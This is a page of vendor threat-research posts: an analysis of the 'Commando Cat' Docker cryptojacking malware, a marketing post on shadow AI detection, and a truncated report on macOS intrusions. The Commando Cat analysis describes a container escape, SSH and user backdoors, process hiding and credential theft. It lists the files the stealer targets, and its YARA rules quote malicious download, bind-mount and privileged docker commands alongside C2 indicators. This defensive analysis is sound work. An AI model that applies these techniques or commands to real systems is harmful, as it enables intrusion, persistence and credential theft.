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January 2, 2024

The Nine Lives of Commando Cat: Analyzing a Novel Malware Campaign Targeting Docker

"Commando Cat" is a novel cryptojacking campaign exploiting exposed Docker API endpoints. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
Default blog image
02
Jan 2024

Summary

  • Commando Cat is a novel cryptojacking campaign exploiting Docker for Initial Access
  • The campaign deploys a benign container generated using the Commando Project [1]
  • The attacker escapes this container and runs multiple payloads on the Docker host
  • The campaign deploys a credential stealer payload, targeting Cloud Service Provider credentials (AWS, GCP, Azure)
  • The other payloads exhibit a variety of sophisticated techniques, including an interesting process hiding technique (as discussed below) and a Docker Registry blackhole

Introduction: Commando cat

Cado Security labs (now part of Darktrace) encountered a novel malware campaign, dubbed “Commando Cat”, targeting exposed Docker API endpoints. This is the second campaign targeting Docker since the beginning of 2024, the first being the malicious deployment of the 9hits traffic exchange application, a report which was published only a matter of weeks prior. [2]

Attacks on Docker are relatively common, particularly in cloud environments. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives. Commando Cat is a cryptojacking campaign leveraging Docker as an initial access vector and (ab)using the service to mount the host’s filesystem, before running a series of interdependent payloads directly on the host. 

As described in the coming sections, these payloads are responsible for registering persistence, enabling a backdoor, exfiltrating various Cloud Service Provider credential files and executing the miner itself. Of particular interest are a number of evasion techniques exhibited by the malware, including an unusual process hiding mechanism. 

Initial access

The payloads are delivered to exposed Docker API instances over the Internet by the IP 45[.]9.148.193 (which is the same as C2). The attacker instructs Docker to pull down a Docker image called cmd.cat/chattr. The cmd.cat (also known as Commando) project “generates Docker images on-demand with all the commands you need and simply point them by name in the docker run command.” 

It is likely used by the attacker to seem like a benign tool and not arouse suspicion.

The attacker then creates the container with a custom command to execute:

Container image with custom command to execute
Figure 1: Container with custom command to execute

It uses the chroot to escape from the container onto the host operating system. This initial command checks if the following services are active on the system:

  • sys-kernel-debugger
  • gsc
  • c3pool_miner
  • Dockercache

The gsc, c3pool_miner, and dockercache services are all created by the attacker after infection. The purpose of the check for sys-kernel-debugger is unclear - this service is not used anywhere in the malware, nor is it part of Linux. It is possible that the service is part of another campaign that the attacker does not want to compete with.

Once these checks pass, it runs the container again with another command, this time to infect it:

Container with infect command
Figure 2: Container with infect command

This script first chroots to the host, and then tries to copy any binaries named wls or cls to wget and curl respectively. A common tactic of cryptojacking campaigns is that they will rename these binaries to evade detection, likely the attacker is anticipating that this box was previously infected by a campaign that renamed the binaries to this, and is undoing that. The attacker then uses either wget or curl to pull down the user.sh payload.

This is repeated with the sh parameter changed to the following other scripts:

  • tshd
  • gsc
  • aws

In addition, another payload is delivered directly as a base64 encoded script instead of being pulled down from the C2, this will be discussed in a later section.

user.sh

The primary purpose of the user.sh payload is to create a backdoor in the system by adding an SSH key to the root account, as well as adding a user with an attacker-known password.

On startup, the script changes the permissions and attributes on various system files such as passwd, shadow, and sudoers in order to allow for the creation of the backdoor user:

Script
Figure 3

It then calls a function called make_ssh_backdoor, which inserts the following RSA and ED25519 SSH key into the root user’s authorized_keys file:

function make_ssh_backdoor
Figure 4

It then updates a number of SSH config options in order to ensure root login is permitted, along with enabling public key and password authentication. It also sets the AuthorizedKeysFile variable to a local variable named “$hidden_authorized_keys”, however this variable is never actually defined in the script, resulting in public key authentication breaking.

Once the SSH backdoor has been installed, the script then calls make_hidden_door. The function creates a new user called “games” by adding an entry for it directly into /etc/passwd and /etc/shadow, as well giving it sudo permission in /etc/sudoers.

The “games” user has its home directory set to /usr/games, likely as an attempt to appear as legitimate. To continue this theme, the attacker also has opted to set the login shell for the “games” user as /usr/bin/nologin. This is not the path for the real nologin binary, and is instead a copy of bash placed here by the malware. This makes the “games” user appear as a regular service account, while actually being a backdoor.

Games user
Figure 5

With the two backdoors in place, the malware then calls home with the SSH details to an API on the C2 server. Additionally, it also restarts sshd to apply the changes it made to the configuration file, and wipes the bash history.

SSH details
Figure 6

This provides the attacker with all the information required to connect to the server via SSH at any time, using either the root account with a pubkey, or the “games” user with a password or pubkey. However, as previously mentioned, pubkey authentication is broken due to a bug in the script. Consequently, the attacker only has password access to “games” in practice.

tshd.sh

This script is responsible for deploying TinyShell (tsh), an open source Unix backdoor written in C [3]. Upon launch, the script will try to install make and gcc using either apk, apt, or yum, depending on which is available. The script then pulls a copy of the tsh binary from the C2 server, compiles it, and then executes it.

Script
Figure 7

TinyShell works by listening on the host for incoming connections (on port 2180 in this case), with security provided by a hardcoded encryption key in both the client and server binaries. As the attacker has graciously provided the code, the key could be identified as “base64st”. 

A side effect of this is that other threat actors could easily scan for this port and try authenticating using the secret key, allowing anyone with the skills and resources to take over the botnet. TinyShell has been commonly used as a payload before, as an example, UNC2891 has made extensive use of TinyShell during their attacks on Oracle Solaris based systems [4].
The script then calls out to a freely available IP logger service called yip[.]su. This allows the attacker to be notified of where the tsh binary is running, to then connect to the infected machine.

Script
Figure 8

Finally, the script drops another script to /bin/hid (also referred to as hid in the script), which can be used to hide processes:

Script
Figure 9

This script works by cloning the Linux mtab file (a list of the active mounts) to another directory. It then creates a new bind mount for the /proc/pid directory of the process the attacker wants to hide, before restoring the mtab. The bind mount causes any queries to the /proc/pid directory to show an empty directory, causing tools like ps aux to omit the process. Cloning the mtab and then restoring the older version also hides the created bind mount, making it harder to detect.

The script then uses this binary to hide the tshd process.

gsc.sh

This script is responsible for deploying a backdoor called gs-netcat, a souped-up version of netcat that can punch through NAT and firewalls. It’s purpose is likely for acting as a backdoor in scenarios where traditional backdoors like TinyShell would not work, such as when the infected host is behind NAT.

Gs-netcat works in a somewhat interesting way - in order for nodes to find each other, they use their shared secret instead of IP address using the  service. This permits gs-netcat to function in virtually every environment as it circumvents many firewalls on both the client and server end. To calculate a shared secret, the script simply uses the victims IP and hostname:

Script
Figure 10

This is more acceptable than tsh from a security point of view, there are 4 billion possible IP addresses and many more possible hostnames, making a brute force harder, although still possible by using strategies such as lists of common hostnames and trying IPs from blocks known for hosting virtual servers such as AWS.

The script proceeds to set up gs-netcat by pulling it from the attacker’s C2 server, using a specific version based on the architecture of the infected system. Interestingly to note, the attacker will use the cmd.cat containers to untar the downloaded payload, if tar is not available on the system or fails. Instead of using /tmp, it also uses /dev/shm instead, which acts as a temporary file store, but memory backed instead. It is possible that this is an evasion mechanism, as it is much more common for malware to use /tmp. This also results in the artefacts not touching the disk, making forensics somewhat more difficult. This technique has been used before in BPFdoor - a high-profile Linux campaign [6].

Script
Figure 11

Once the binary has been installed, the script creates a malicious systemd service unit to achieve persistence. This is a very common method for Linux malware to obtain persistence; however not all systems use systemd, resulting in this payload being rendered entirely ineffective on these systems. $VICCS is the shared secret discussed earlier, which is stored in a file and passed to the process.

Script
Figure 12

The script then uses the previously discussed hid binary to hide the gs-netcat process. It is worth noting that this will not survive a reboot, as there is no mechanism to hide the process again after it is respawned by systemd.

Script
Figure 13

Finally, the malware sends the shared secret to the attacker via their API, much like how it does with SSH:

Script
Figure 14

This allows the attacker to run their client instance of gs-netcat with the shared secret and gain persistent access to the infected machine.

aws.sh

The aws.sh script is a credential grabber that pulls credentials from several files on disk, as well as IMDS, and environment variables. Interestingly, the script creates a file so that once the script runs the first time, it can never be run again as the file is never removed. This is potentially to avoid arousing suspicion by generating lots of calls to IMDS or the AWS API, as well as making the keys harvested by the attacker distinct per infected machine.

The script overall is very similar to scripts that have been previously attributed to TeamTNT and could have been copied from one of their campaigns [7.] However, script-based attribution is difficult, and while the similarities are visible, it is hard to attribute this script to any particular group.

Script
Figure 15

The first thing run by the script (if an AWS environment is detected) is the AWS grabber script. Firstly, it makes several requests to IMDS in order to obtain information about the instance’s IAM role and the security credentials for it. The timeout is likely used to stop this part of the script taking a long time to run on systems where IMDS is not available. It would also appear this script only works with IMDSv1, so can be rendered ineffective by enforcing IMDSv2.

Script
Figure 16

Information of interest to the attacker, such as instance profiles, access keys, and secret keys, are then extracted from the response and placed in a global variable called CSOF, which is used throughout the script to store captured information before sending it to the API.

Next, it checks environment variables on the instance for AWS related variables, and adds them to CSOF if they are present.

Script
Figure 17

Finally, it adds the sts caller identity returned from the AWS command line to CSOF.

Next up is the cred_files function, which executes a search for a few common credential file names and reads their contents into CSOF if they are found. It has a few separate lists of files it will try to capture.

CRED_FILE_NAMES:

  • "authinfo2"
  • "access_tokens.db"
  • ".smbclient.conf"
  • ".smbcredentials"
  • ".samba_credentials"
  • ".pgpass"
  • "secrets"
  • ".boto"
  • ".netrc"
  • "netrc"
  • ".git-credentials"
  • "api_key"
  • "censys.cfg"
  • "ngrok.yml"
  • "filezilla.xml"
  • "recentservers.xml"
  • "queue.sqlite3"
  • "servlist.conf"
  • "accounts.xml"
  • "kubeconfig"
  • "adc.json"
  • "azure.json"
  • "clusters.conf" 
  • "docker-compose.yaml"
  • ".env"

AWS_CREDS_FILES:

  • "credentials"
  • ".s3cfg"
  • ".passwd-s3fs"
  • ".s3backer_passwd"
  • ".s3b_config"
  • "s3proxy.conf"

GCLOUD_CREDS_FILES:

  • "config_sentinel"
  • "gce"
  • ".last_survey_prompt.yaml"
  • "config_default"
  • "active_config"
  • "credentials.db"
  • "access_tokens.db"
  • ".last_update_check.json"
  • ".last_opt_in_prompt.yaml"
  • ".feature_flags_config.yaml"
  • "adc.json"
  • "resource.cache"

The files are then grabbed by performing a find on the root file system for their name, and the results appended to a temporary file, before the final concatenation of the credentials files is read back into the CSOF variable.

CSOF variable
Figure 18

Next up is get_prov_vars, which simply loops through all processes in /proc and reads out their environment variables into CSOF. This is interesting as the payload already checks the environment variables in a lot of cases, such as in the aws, google, and azure grabbers. So, it is unclear why they grab all data, but then grab specific portions of the data again.

Code
Figure 19

Regardless of what data it has already grabbed, get_google and get_azure functions are called next. These work identically to the AWS environment variable grabber, where it checks for the existence of a variable and then appends its contents (or the file’s contents if the variable is path) to CSOF.

Code
Figure 20

The final thing it grabs is an inspection of all running docker containers via the get_docker function. This can contain useful information about what's running in the container and on the box in general, as well as potentially providing more secrets that are passed to the container.

Code
Figure 21

The script then closes out by sending all of the collected data to the attacker. The attacker has set a username and password on their API endpoint for collected data, the purpose for which is unclear. It is possible that the attacker is concerned with the endpoint being leaked and consequently being spammed with false data by internet vigilantes, so added the authentication as a mechanism allowing them to cycle access by updating the payload and API.

Code
Figure 22

The base64 payload

As mentioned earlier, the final payload is delivered as a base64 encoded script rather than in the traditional curl-into-bash method used previously by the malware. This base64 is echoed into base64 -d, and then piped into bash. This is an extremely common evasion mechanism, with many script-based Linux threat actors using the same approach. It is interesting to note that the C2 IP used in this script is different from the other payloads.

The base64 payload serves two primary purposes, to deploy an XMRig cryptominer, and to “secure” the docker install on the infected host.

When it is run, the script looks for traces of other malware campaigns. Firstly, it removes all containers that have a command of /bin/bash -c 'apt-get or busybox, and then it removes all containers that do not have a command that contains chroot (which is the initial command used by this payload).

Code
Figure 23

Next, it looks for any services named “c3pool_miner” or “moneroocean_miner” and stops & disables the services. It then looks for associated binaries such as /root/c3pool/xmrig and /root/moneroocean/xmrig and deletes them from the filesystem. These steps are taken prior to deploying their own miner, so that they aren't competing for CPU time with other threat actors.

Once the competing miners have been killed off, it then sets up its own miner. It does this by grabbing a config and binary from the C2 server and extracting it to /usr/sbin. This drops two files: docker-cache and docker-proxy.

The docker-proxy binary is a custom fork of XMRig, with the path to the attacker’s config file hardcoded in the binary. It is invoked by docker-cache, which acts as a stager to ensure it is running, while also having the functionality to update the binary, should a file with .upd be detected.

It then uses a systemd service to achieve persistence for the XMRig stager, using the name docker cache daemon to appear inconspicuous. It is interesting to note that the name dockercache was also used by the Cetus cryptojacking worm .

Code
Figure 24

It then uses the hid script discussed previously to hide the docker-cache and docker-proxy services by creating a bind mount over their /proc entry. The effect of this is that if a system administrator were to use a tool like htop to try and see what process was using up the CPU on the server, they would not be able to see the process.

Finally, the attacker “secures” docker. First, it pulls down alpine and tags it as docker/firstrun (this will become clear as to why later), and then deletes any images in a hardcoded list of images that are commonly used in other campaigns.

Code
Figure 25

Next, it blackholes the docker registry by writing it's hostname to /etc/hosts with an IP of 0.0.0.0

Code
Figure 26

This completely blocks other attackers from pulling their images/tools onto the box, eliminating the risk of competition. Keeping the Alpine image named as docker/firstrun allows the attacker to still use the docker API to spawn an alpine box they can use to break back in, as it is already downloaded so the blackhole has no effect.

Conclusion

This malware sample, despite being primarily scripts, is a sophisticated campaign with a large amount of redundancy and evasion that makes detection challenging. The usage of the hid process hider script is notable as it is not commonly seen, with most malware opting to deploy clunkier rootkit kernel modules. The Docker Registry blackhole is also novel, and very effective at keeping other attackers off the box.

The malware functions as a credential stealer, highly stealthy backdoor, and cryptocurrency miner all in one. This makes it versatile and able to extract as much value from infected machines as possible. The payloads seem similar to payloads deployed by other threat actors, with the AWS stealer in particular having a lot of overlap with scripts attributed to TeamTNT in the past. Even the C2 IP points to the same provider that has been used by TeamTNT in the past. It is possible that this group is one of the many copycat groups that have built on the work of TeamTNT.

Indicators of compromise (IoCs)

Hashes

user 5ea102a58899b4f446bb0a68cd132c1d

tshd 73432d368fdb1f41805eba18ebc99940

gsc 5ea102a58899b4f446bb0a68cd132c1d

aws 25c00d4b69edeef1518f892eff918c2c

base64 ec2882928712e0834a8574807473752a

IPs

45[.]9.148.193

103[.]127.43.208

Yara Rule

rule Stealer_Linux_CommandoCat { 
 
meta: 

        description = "Detects CommandoCat aws.sh credential stealer script" 
 
        license = "Apache License 2.0" 
 
        date = "2024-01-25" 
 
        hash1 = "185564f59b6c849a847b4aa40acd9969253124f63ba772fc5e3ae9dc2a50eef0" 
 
    strings: 
 
        // Constants 

        $const1 = "CRED_FILE_NAMES" 
 
        $const2 = "MIXED_CREDFILES" 
 
        $const3 = "AWS_CREDS_FILES" 
 
        $const4 = "GCLOUD_CREDS_FILES" 
 
        $const5 = "AZURE_CREDS_FILES" 
 
        $const6 = "VICOIP" 
 
        $const7 = "VICHOST" 

 // Functions 
 $func1 = "get_docker()" 
 $func2 = "cred_files()" 
 $func3 = "get_azure()" 
 $func4 = "get_google()" 
 $func5 = "run_aws_grabber()" 
 $func6 = "get_aws_infos()" 
 $func7 = "get_aws_meta()" 
 $func8 = "get_aws_env()" 
 $func9 = "get_prov_vars()" 

 // Log Statements 
 $log1 = "no dubble" 
 $log2 = "-------- PROC VARS -----------------------------------" 
 $log3 = "-------- DOCKER CREDS -----------------------------------" 
 $log4 = "-------- CREDS FILES -----------------------------------" 
 $log5 = "-------- AZURE DATA --------------------------------------" 
 $log6 = "-------- GOOGLE DATA --------------------------------------" 
 $log7 = "AWS_ACCESS_KEY_ID : $AWS_ACCESS_KEY_ID" 
 $log8 = "AWS_SECRET_ACCESS_KEY : $AWS_SECRET_ACCESS_KEY" 
 $log9 = "AWS_EC2_METADATA_DISABLED : $AWS_EC2_METADATA_DISABLED" 
 $log10 = "AWS_ROLE_ARN : $AWS_ROLE_ARN" 
 $log11 = "AWS_WEB_IDENTITY_TOKEN_FILE: $AWS_WEB_IDENTITY_TOKEN_FILE" 

 // Paths 
 $path1 = "/root/.docker/config.json" 
 $path2 = "/home/*/.docker/config.json" 
 $path3 = "/etc/hostname" 
 $path4 = "/tmp/..a.$RANDOM" 
 $path5 = "/tmp/$RANDOM" 
 $path6 = "/tmp/$RANDOM$RANDOM" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat { 
 meta: 
 description = "Detects CommandoCat gsc.sh backdoor registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "d083af05de4a45b44f470939bb8e9ccd223e6b8bf4568d9d15edfb3182a7a712" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "SETPATH" 
 $const3 = "SETNAME" 
 $const4 = "SETSERV" 
 $const5 = "VICIP" 
 $const6 = "VICHN" 
 $const7 = "GSCSTATUS" 
 $const8 = "VICSYSTEM" 
 $const9 = "GSCBINURL" 
 $const10 = "GSCATPID" 

 // Functions 
 $func1 = "hidfile()" 

 // Log Statements 
 $log1 = "run gsc ..." 

 // Paths 
 $path1 = "/dev/shm/.nc.tar.gz" 
 $path2 = "/etc/hostname" 
 $path3 = "/bin/gs-netcat" 
 $path4 = "/etc/systemd/gsc" 
 $path5 = "/bin/hid" 

 // General 
 $str1 = "mount --bind /usr/foo /proc/$1" 
 $str2 = "cp /etc/mtab /usr/t" 
 $str3 = "docker run -t -v /:/host --privileged cmd.cat/tar tar xzf /host/dev/shm/.nc.tar.gz -C /host/bin gs-netcat" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat_tshd { 
 meta: 
 description = "Detects CommandoCat tshd TinyShell registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "65c6798eedd33aa36d77432b2ba7ef45dfe760092810b4db487210b19299bdcb" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "HOME" 
 $const3 = "TSHDPID" 

 // Functions 
 $func1 = "setuptools()" 
 $func2 = "hidfile()" 
 $func3 = "hidetshd()" 

 // Paths 
 $path1 = "/var/tmp" 
 $path2 = "/bin/hid" 
 $path3 = "/etc/mtab" 
 $path4 = "/dev/shm/..tshdpid" 
 $path5 = "/tmp/.tsh.tar.gz" 
 $path6 = "/usr/sbin/tshd" 
 $path7 = "/usr/foo" 
 $path8 = "./tshd" 

 // General 
 $str1 = "curl -Lk $SRCURL/bin/tsh/tsh.tar.gz -o /tmp/.tsh.tar.gz" 
 $str2 = "find /dev/shm/ -type f -size 0 -exec rm -f {} \\;" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

References:

  1. https://github.com/lukaszlach/commando
  2. www.darktrace.com/blog/containerised-clicks-malicious-use-of-9hits-on-vulnerable-docker-hosts
  3. https://github.com/creaktive/tsh
  4. https://cloud.google.com/blog/topics/threat-intelligence/unc2891-overview/
  5. https://www.gsocket.io/
  6. https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor
  7. https://malware.news/t/cloudy-with-a-chance-of-credentials-aws-targeting-cred-stealer-expands-to-azure-gcp/71346
  8. https://unit42.paloaltonetworks.com/cetus-cryptojacking-worm/
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

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June 25, 2026

Shadow AI Detection: The First Step Toward Securing AI

shadow aiDefault blog imageDefault blog image

Why shadow AI is emerging  

Imagine you’re an employee under pressure, deadlines stacking up, repetitive tasks piling higher by the day. You find a free AI tool online that promises to automate the work in seconds; no approvals are needed. It feels like a simple win, paste in some data, write a quick prompt, and move faster.

But in that moment, something changed.  

Sensitive customer information is entered into a tool your organization doesn’t monitor, doesn’t govern, and can’t see and suddenly, that data is no longer where it should be, and no one knows where it’s gone.

This is the reality of Shadow AI: employees using unsanctioned AI tools to move faster, while unintentionally creating risk that exists entirely outside visibility and control.  

This is not just a one off case, research across businesses indicate that nearly half of employees report using unsanctioned AI tools, often prioritizing speed and productivity over security. Additionally, 51% of employees report connecting AI tools to work systems or apps without IT approval, creating significant operational risk where the average cost of security incidents in organizations with a high level of shadow AI usage can reach $670k.

While shadow AI is often top of mind for security professionals, it is just one component of how AI use can increase risk. Understanding and managing shadow AI use should be considered as part of a broader, comprehensive risk management strategy that aims to secure AI systems, including human and agent identities, interactions, human-AI partnerships, and behaviors operating across the digital enterprise from visibility and governance through detection, response, and recovery.  

Effective risk management calls for a layered and interdisciplinary strategy. It requires addressing issues across governance and visibility; identity, access and agent control, data security and privacy, secure MLOps / LLMOps, runtime security, behavior-based detection, autonomous response and recovery.  

This blog explores a specific governance and visibility use case linked to shadow AI and reveals the challenges it presents as well as the defensive strategies that security teams can adopt.

Why shadow AI is hard to detect  

When it comes to AI, what organizations can easily see does not always reflect the full scope of AI activity occurring within the tools, applications, and workflows used across an enterprise. As a result, organizations using traditional rule-based methods to flag unusual activity may struggle to distinguish unsanctioned AI usage from legitimate operational behavior, particularly as SaaS applications, APIs, and orchestration layers increasingly have AI embedded into normal business workflows. Identifying threats using previously observed intelligence or depending on hard to maintain allow and block lists does not provide a dynamic enough strategy to manage risk. Also, many organizations are focusing on identifying Shadow AI in their governed infrastructure, like gateways, endpoints, or SASE, which is foundational. But, organizations require visibility and Shadow AI detection across all networked infrastructure from on-prem, hybrid, data centers, and cloud infrastructure that may not have endpoint agent visibility. This uncovers the utilization of MCP, data flows, and autonomous agents across these domains.

For example, employees interact with AI assistants across approved SaaS platforms every day. However, browser extensions and other types of plug-ins can route prompts that include enterprise data to embedded AI services in ways that are not visible to the security team. AI enabled workflows may invoke multiple APIs, orchestration layers, and cloud services behind the scenes, making it difficult for traditional security tooling to determine where data is processed, stored, or retransmitted. Because much of this activity occurs within trusted browser sessions and encrypted SaaS traffic, conventional network monitoring, DLP, and application allowlisting controls often lack the context needed to accurately identify or govern these interactions

Identifying AI tools in the environment is one part of the equation. Understanding the behavior surrounding their use is where the real challenge lies. An AI application is not inherently risky, but the way users or other assets interact with it may be. Sensitive data exposure, abnormal access patterns, and misuse of AI-assisted workflows often appear legitimate in isolation and only become visible through behavioral analysis across the broader environment.  

What Shadow AI visibility does and doesn’t show

Comprehensive Shadow AI visibility allows organizations to answer several important questions:

  • What types of AI are we using? What AI platforms, agents, MCP clients/servers, and services are active across the enterprise?  
  • Who is using AI services? Which users, business units, or systems are interacting with those AI services?  
  • Is our data safe? Is sensitive or regulated data being exposed through prompts, workflows, or integrations?  
  • Are AI systems behaving as expected? Are AI systems behaving anomalously or operating outside approved governance processes?  
  • Are our AI systems under attack? Is an attacker attempting to manipulate prompts, influence agent behavior, or abuse AI-enabled workflows?

Answering these questions is foundational to broader AI governance efforts. However, it is limited to helping teams understand initial interactions and fails to offer insight into dependencies and outcomes that are critical to securing AI across an enterprise.  

Deeper visibility that includes the ability to understand dependencies and outcomes are not always available in AI security point products. Answering the questions below requires understanding runtime behavior and operational outcomes:  

  • What actions did the AI interaction trigger?  
  • What systems, applications, or data did it access? Did the AI operate beyond its intended permissions or scope?  
  • Could a low-risk interaction lead to high-risk outcomes?  
  • What is the risk and context understanding of an anomalous activity to assist in prioritization of analysis and autonomous response action?

The distinction between these two sets of questions offers two different layers of AI security. The first set of questions focuses on discovery and interaction visibility. The second set focuses on providing visibility that includes the context and outcomes that are critical for managing follow-on risks associated with obfuscated downstream activities.  

Together, these layers help organizations move beyond simply identifying AI usage toward understanding how AI behaves operationally across the enterprise.

How organizations are addressing shadow AI

Most organizations still approach shadow AI as an application control problem, relying on policies, browser restrictions, and allow/block lists. However, AI adoption is evolving faster than most governance processes can realistically keep pace with. New assistants, plugins, and embedded AI features appear continuously, creating pressure to enable business productivity while simultaneously containing risk.  

Existing governance processes were designed for a more traditional SaaS adoption cycle, where new applications could be reviewed, approved, and monitored over longer time horizons. AI adoption operates differently. New capabilities can appear overnight inside existing platforms employees already use, making it difficult for security and governance teams to maintain an accurate understanding of enterprise AI exposure. This means that many organizations are experiencing significant operational overhead, particularly in large environments where AI usage is decentralized across teams, departments, and third-party services.  

Where should organizations start when securing their AI systems?

Shadow AI identification is an on-going critical component for AI Risk/Governance Boards as well as security organizations. As organizations seek AI certifications like ISO 42001 AI Management Systems, visibility into all AI adoption from enterprise use to custom innovation and development is crucial. Shadow AI identification provides organizations with the visibility needed to decide whether an AI tool should be brought into governed environments to reduce data loss (DLP) risks or whether policies should be established and enforced to restrict their use.

As organizations rapidly innovate and adopt AI, they are taking on more and more risk. Organizations need to have a strategy in place to mitigate the assumed risk, especially with third-party adoption. Visibility, monitoring, governance enforcement, behavioral-based detection of non-deterministic systems, and autonomous investigation and containment becomes critical to mitigating the risk of AI systems.  

How Darktrace secures AI and shadow AI

Attackers are using AI to move faster, scale tactics, and make threats more adaptive and convincing. Internally, organizations are grappling with new forms of risk created by generative AI, autonomous agents, shadow AI, and increasingly complex digital environments.

Darktrace helps organizations protect both people and AI in a world where AI is now central to how business gets done. Darktrace / SECURE AI helps organizations discover and control shadow AI by surfacing unsanctioned or unexpected AI activity where it appears – including MCP detections, distinguishing misuse of legitimate tools and unapproved services, and applying policy to contain data exposure while guiding users toward sanctioned options.

Stay up to date on AI security

Sign up for the Secure AI Readiness Program here: This gives you exclusive access to the latest news on the latest AI threats, updates on emerging approaches shaping AI security, and insights into the latest innovations, including Darktrace’s ongoing work in this area.

Ready to talk with a Darktrace expert on securing AI? Register here to receive practical guidance on the AI risks that matter most to your business, paired with clarity on where to focus first across governance, visibility, risk reduction, and long-term readiness.  

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About the author
Nicole Carignan
SVP, Security & AI Strategy, Field CISO

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June 25, 2026

From Click to Command: Behavioral Detection of AppleScript-Led MacOS Intrusions

applescript-led mac os intrusionDefault blog imageDefault blog image

Introduction

Darktrace’s Threat Research team is publishing this analysis to help defenders understand an active pattern of macOS tradecraft observed in multiple customer environments. This post summarizes the behaviors observed, how they were assessed, and what defenders can do now.

Across multiple environments, Darktrace observed a consistent MacOS intrusion pattern beginning with ClickFix-style user-assisted “update” execution and transitioning into AppleScript-driven post-compromise activity and sustained outbound signaling.

While individual indicators were low-confidence, the repeated convergence of weak behavioral signals — including HTTP POST beaconing, rare or IP-only destinations, SSL anomalies, and abnormal client characteristics — provided a defensible indication of command-and-control establishment Darktrace detection and response in these cases was driven by behavior over artifacts. In the highest-confidence instances, automated containment disrupted outbound signaling before sustained tasking could occur.

Background

ClickFix-style activity typically relies on user-assisted execution and plausible “update” pretexting, followed by post-execution use of native tools to keep the footprint light. In MacOS environments, AppleScript and other built-in scripting mechanisms enable flexible post-compromise workflows while minimizing stable file-based indicators.

Following execution, affected devices exhibited a consistent behavioral pattern. AppleScript or equivalent native scripting activity was observed initiating follow-on workflows, after which outbound communications began to establish a structured rhythm.

These communications were characterized by repeated HTTP POST requests to low-prevalence or IP-only endpoints, often combined with unusual SSL properties and client identifiers that diverged from baseline device behavior. Individually, these signals were weak. When correlated across time and devices, they formed a pattern consistent with control establishment rather than benign software activity.

In higher-confidence cases, Autonomous Response actions were able to reduce or halt outbound signaling, interrupting the attacker’s ability to maintain control.

Detection Timeline

In representative cases, the sequence unfolded as follows:

Stage 1 – Initial Execution

Initial activity began with suspicious or masqueraded execution on a MacOS endpoint, consistent with ClickFix-style user deception.

Stage 2 – Post-Execution Scripting

This was followed closely by native scripting activity, most commonly AppleScript, indicating the transition into post-execution workflow.

Stage 3 – Outbound Communications

Outbound communications then emerged, initially sporadic but quickly forming a consistent cadence of HTTP POST requests to rare external endpoints.

Stage 4 – Anomaly Convergence

As activity persisted, additional anomalies became visible — unusual SSL characteristics, abnormal user agents, and connections to infrastructure with no prior network prevalence.

Stage 5 – Autonomous Response

In the most mature stages of the activity, automated containment actions disrupted outbound communications on affected devices, limiting the attacker’s ability to continue tasking while investigations progressed.

Darktrace coverage and detections

The following use-case highlights systems likely affected by malicious macOS intrusion activity linked by Microsoft to the Democratic People’s Republic of Korea (DPRK) [1], with indications of suspicious behavior observed between March 1 and May 3, 2026. The activity overlaps with patterns described in recent reporting on DPRK-nexus MacOS intrusions [1], though attribution confidence in this case remains moderate and based on behavioral alignment rather than solely infrastructure linkage.

Analyst confidence emerged through the correlation of multiple weak signals across time and devices. This included model coverage for rare external communications, sustained beaconing patterns, repeated HTTP POSTs, and anomalous client characteristics. Where enabled, Autonomous Response actions disrupted the most active outbound paths to reduce the attacker’s ability to maintain control while Darktrace’s investigation continued.

Notably, this highly anomalous behavior included:

  • Outbound connections to the rare external endpoint, zoom[.]uswebob[.]us associated with IP address, 148.72.73[.]98 [2][3] over port 443
  • Outbound connections to the rare external endpoint, check02id[.]com associated with IP address, 83.136.210[.]180 [4] over port 7365
  • Outbound connections to the rare external endpoints, 104.145.210[.]107 [5] over port 8443 and 83.136.208[.]48 [6] over port 443
  • Outbound connections to the rare external endpoint, 83.136.208[.]246 [7] over port 6783 with observed URI `/api/daemon` and a PowerShell user agent

Darktrace’s detection initially highlighted a desktop device (running MacOS) engaging in anomalous behavior as early as March 12, 2026. Starting on March 12, the source device triggered a ‘Possible Doppelganger Attack’ alert including connectivity to the hostname "zoom[.]uswebob[.]us · 148.72.73[.]98" over port 443 (TCP, HTTPS, H2). This model highlights a device connecting to a location that is rare but masquerades as legitimate software, such as Zoom in this case, a commonly used technique to blend into expected traffic [2] [3].

 Initial connectivity observed to the rare external hostname, zoom[.]uswebob[.]us · 148.72.73[.]98, over port 443.
Figure 1: Initial connectivity observed to the rare external hostname, zoom[.]uswebob[.]us · 148.72.73[.]98, over port 443.

This was followed roughly seven later by a connection to 104.145.210[.]107 over port 8443, during which approximately 250 KiB of data of inbound data and 30 MiB of outbound data was observed, triggering the ‘Unusual Activity / Unusual External Data to New Endpoint’ in Darktrace.

Quickly after this connection, Darktrace’s Autonomous Response intervened, blocking the device’s access to the unusual external location and halting the data exfiltration attempt.

Figure 2: Darktrace’s detection of unusual data exfiltration, shortly followed by an Autonomous Response action to block it.

The device continued to consistently trigger model alerts relating to unusual external connectivity, including 'Posting HTTP to IP Without Hostname', 'Anomalous Connection / Rare External SSL Self-Signed' alerts, until well after 3 PM that day.

Figure 3: Additional external connectivity to new IP without a hostname, including connectivity to 83.136.208[.]246, alongside an anomalous ‘curl/8.7.1’ user agent and ‘/api/daemon’ URI.
Figure 4: Continued external SSL connectivity to IP 83.136.208[.]48, including connectivity to 83.136.208[.]246, alongside an anomalous ‘curl/8.7.1’ user agent and ‘/api/daemon’ URI.
